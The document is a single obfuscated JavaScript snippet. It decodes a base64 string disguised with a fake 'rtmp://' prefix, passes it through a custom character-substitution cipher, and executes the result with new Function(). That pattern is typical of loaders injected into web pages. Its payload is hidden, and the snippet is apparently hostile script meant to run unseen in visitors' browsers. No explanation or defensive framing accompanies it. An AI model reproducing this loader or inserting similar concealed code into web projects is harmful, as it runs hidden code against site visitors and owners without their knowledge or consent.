(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();